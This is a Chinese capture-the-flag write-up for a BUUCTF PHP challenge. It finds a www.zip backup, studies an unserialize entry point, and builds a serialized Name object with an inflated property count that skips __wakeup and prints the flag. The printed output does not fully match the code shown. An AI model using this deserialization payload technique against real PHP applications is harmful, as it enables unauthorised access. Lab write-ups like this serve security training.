[PHP知识库]Buuctf-web:[极客大挑战 2019]PHP1

?这个撸猫游戏还挺好玩的

哈哈哈哈

回来做题。

你既然有网站备份文件，那我扫一下。

扫出一个www.zip文件

下载下来。

解压。

?看到GET 数据传入点，下面还有一个反序列化函数。指向class.php

?就是一个反序列化的题目：

推荐先看看这个题目：

另一个类似的题目

<?php
class Name{
    public $username = 'nonono';
    public $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
$a='admin';
$c='passwd';
$name=new Name($a,$c);
$b=serialize($name);
echo($b);
?>

?改改参数，运行一下。

输出：

O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";s:6:"passwd";}O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}</br>NO!!!hacker!!!</br>You?name?is:?admin</br>You?password?is:?passwd</br>

我们只要这个：

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

?

?